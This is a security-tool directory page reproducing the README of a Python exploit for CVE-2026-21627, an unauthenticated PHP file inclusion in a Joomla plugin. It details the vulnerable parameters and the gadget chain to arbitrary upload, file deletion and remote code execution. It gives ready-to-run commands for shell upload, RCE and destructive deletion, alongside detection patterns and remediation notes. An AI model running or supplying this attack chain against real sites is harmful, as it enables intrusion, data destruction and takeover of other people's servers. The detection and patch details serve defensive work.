Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla — Python exploit for CVE-2026-21627, an unauthenticated arbitrary PHP file inclusion in Joomla's Novarain Framework, enabling file upload, delete, and RCE. | Kitploit
Tools/GitHubGitHub/yallasec/cve-2026-21627---tassos-novarain-framework-plg_system_nrframework-exploit---joomla
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubyallasec/cve-2026-21627---tassos-novarain-framework-plg_system_nrframework-exploit---joomla

CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla

Python exploit for CVE-2026-21627, an unauthenticated arbitrary PHP file inclusion in Joomla's Novarain Framework, enabling file upload, delete, and RCE.

View Repository
6 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-21627

Unauthenticated Arbitrary File Inclusion in Joomla's Novarain Framework (nrframework)

CVSS Joomla Python


Overview

A critical vulnerability in the Tassos/Novarain Framework (plg_system_nrframework) Joomla plugin allows unauthenticated attackers to include arbitrary PHP files on the server, instantiate arbitrary classes, and chain with built-in gadget classes to achieve arbitrary file upload and arbitrary file delete — all without authentication.

CVE IDCVE-2026-21627
CVSS Score9.5 (Critical)
Pluginplg_system_nrframework (Tassos Framework / Novarain Framework)
Vulnerable Versions4.10.14 through 6.0.37
Fixed In6.0.38+
CMSJoomla 3.x, 4.x, 5.x

The nrframework plugin is bundled with several popular Joomla extensions from Tassos.gr including Convert Forms, Engage Box, Google Structured Data, and others.

Vulnerability Details

The ajaxTaskInclude() method in nrframework.php is explicitly whitelisted for frontend (non-admin) access via the $non_admin_tasks array. It accepts three user-controlled parameters:

  • path — uses the RAW input filter (zero sanitization, path traversal possible)
  • file — uses the default Joomla input filter
  • class — class name to instantiate after inclusion

The concatenated path $path . $file . '.php' is passed directly to @include_once, enabling arbitrary PHP file inclusion. After inclusion, the specified class is instantiated and its onAJAX() method is called with user-controlled parameters.

Attack Primitives

PrimitiveGadgetSeverityDescription
File InclusionajaxTaskInclude()CriticalInclude any .php file on the server
File DeleteJFormFieldNRInlineFileUpload::onRemove()Criticalunlink() with no path validation — delete any file writable by the web server
File UploadJFormFieldNRInlineFileUpload::onUpload()HighUpload text files to any writable web-accessible directory
Path DisclosureUpload responseMediumFull filesystem path leaked in JSON response

Usage

root@kitploit:~
python3 cve_2026_21627.py --target <URL> --mode <MODE> [OPTIONS]

Modes

ModeDescriptionRisk
verifyConfirm the vulnerability existsSafe / Read-only
uploadUpload a file to a controlled directoryMedium
deleteDelete an arbitrary file on the serverDestructive
rceAttempt full RCE chain (upload + execute)High
infoInclude arbitrary PHP file for reconMedium

Examples

Verify vulnerability:

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode verify

Upload proof-of-concept file:

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type txt

Upload SSI shell (requires Apache mod_include):

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml

Attempt RCE chain:

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode rce --cmd "id"

Delete a file (destructive):

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt

Options

root@kitploit:~
--target, -t       Target URL (required)
--mode, -m         Exploit mode: verify|upload|delete|rce|info (required)
--sef-prefix       Joomla SEF URL prefix (default: /it/)
--delay            Delay between requests in seconds (default: 2.5)
--proxy            HTTP proxy (e.g. http://127.0.0.1:8080)
--no-ssl-verify    Disable SSL certificate verification

Upload mode:
  --shell-type     File type: shtml|csv|txt|html (default: shtml)
  --upload-dir     Upload directory relative to JPATH_ROOT (default: images)
  --custom-content Custom file content to upload

Delete mode:
  --file-path      Full server path of the file to delete

RCE mode:
  --cmd            Command to execute (default: id)

Info mode:
  --php-path       PHP file path relative to JPATH_SITE
  --php-file       PHP file name without .php extension
  --php-class      PHP class to instantiate

How It Works

root@kitploit:~
┌──────────────┐    ┌───────────────────┐    ┌─────────────────────┐
│   Attacker   │───>│  onAjaxNrframework │───>│  ajaxTaskInclude()  │
│              │    │  (AJAX router)     │    │                     │
│ task=include │    │  include is in     │    │ path = RAW input    │
│ path=...     │    │  $non_admin_tasks  │    │ @include_once $path │
│ file=...     │    │  (no auth needed)  │    │ new $class()->onAJAX│
│ class=...    │    └───────────────────┘    └──────────┬──────────┘
└──────────────┘                                        │
                                                        v
                               ┌─────────────────────────────────────┐
                               │  JFormFieldNRInlineFileUpload       │
                               │  (gadget class)                     │
                               │                                     │
                               │  onAjax() ──> onUpload()  [WRITE]  │
                               │           ──> onRemove()  [DELETE]  │
                               └─────────────────────────────────────┘
  1. Session & CSRF — Joomla creates sessions lazily. The exploit triggers session creation by probing the AJAX endpoint, then extracts the CSRF token from the homepage HTML.
  2. File Inclusion — The include task is called with a controlled path (RAW filter = no sanitization) pointing to the gadget file.
  3. Gadget Execution — The included JFormFieldNRInlineFileUpload class provides onUpload() for file writes and onRemove() for file deletes, both with insufficient input validation.

Requirements

  • Python 3.7+
  • requests library
root@kitploit:~
pip install requests

Detection

Monitor access logs for exploitation attempts:

root@kitploit:~
# Apache/Nginx log pattern
grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log

WAF rule — Block requests matching:

root@kitploit:~
option=com_ajax.*plugin=nrframework.*task=include.*path=

Post-compromise audit:

  • Check images/ and other writable directories for unexpected files
  • Verify integrity of configuration.php and .htaccess
  • Review server error logs for @include_once warnings

Remediation

  1. Update nrframework to version 6.0.38 or later immediately
  2. The patch removes ajaxTaskInclude() entirely and replaces it with a strict handler registry (AjaxHandlerRegistry)

Timeline

DateEvent
2026-02Vulnerability discovered during authorized penetration test
2026-02Created the exploit
2026-02Public disclosure

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Only use this exploit against systems you have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.

Author

Yallasec — yallasec.com

Arcangelo Saracino — @arkango

Download Tool